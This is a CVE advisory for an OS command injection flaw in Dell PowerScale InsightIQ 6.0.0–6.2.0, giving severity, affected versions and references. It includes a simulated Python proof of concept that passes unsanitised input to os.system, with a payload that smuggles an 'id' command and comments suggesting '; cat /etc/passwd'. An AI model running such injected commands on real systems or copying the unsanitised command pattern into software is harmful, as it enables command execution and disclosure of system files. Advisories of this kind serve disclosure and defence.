CVE-2026-35071

Description

Dell PowerScale InsightIQ, versions 6.0.0 through 6.2.0, contains an improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dell:insightiq:*:*:*:*:*:*:*:* - VULNERABLE

Dell PowerScale InsightIQ 6.0.0

Dell PowerScale InsightIQ 6.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-35071
# This script demonstrates a potential OS Command Injection scenario.
# It simulates the vulnerable behavior where input is not sanitized.

import os

def simulate_vulnerable_function(user_input):
    # The application constructs a command string using untrusted input
    # This is a conceptual representation of the vulnerability
    command = "/usr/local/bin/insightiq_tool --config " + user_input
    print(f"[+] Executing command: {command}")
    
    # Vulnerable execution
    os.system(command)

if __name__ == "__main__":
    print("[*] Exploiting CVE-2026-35071...")
    # Payload: ; touch /tmp/pwned (creates a file to prove execution)
    # Or: ; cat /etc/passwd
    malicious_payload = "valid_config; id"
    
    try:
        simulate_vulnerable_function(malicious_payload)
    except Exception as e:
        print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35071
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35071
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35071/
[4] VulDB https://vuldb.com/cve/CVE-2026-35071
[5] https://www.dell.com/support/kbdoc/en-us/000463695/dsa-2026-208-security-update-for-dell-powerscale-insightiq-multiple-vulnerabilities

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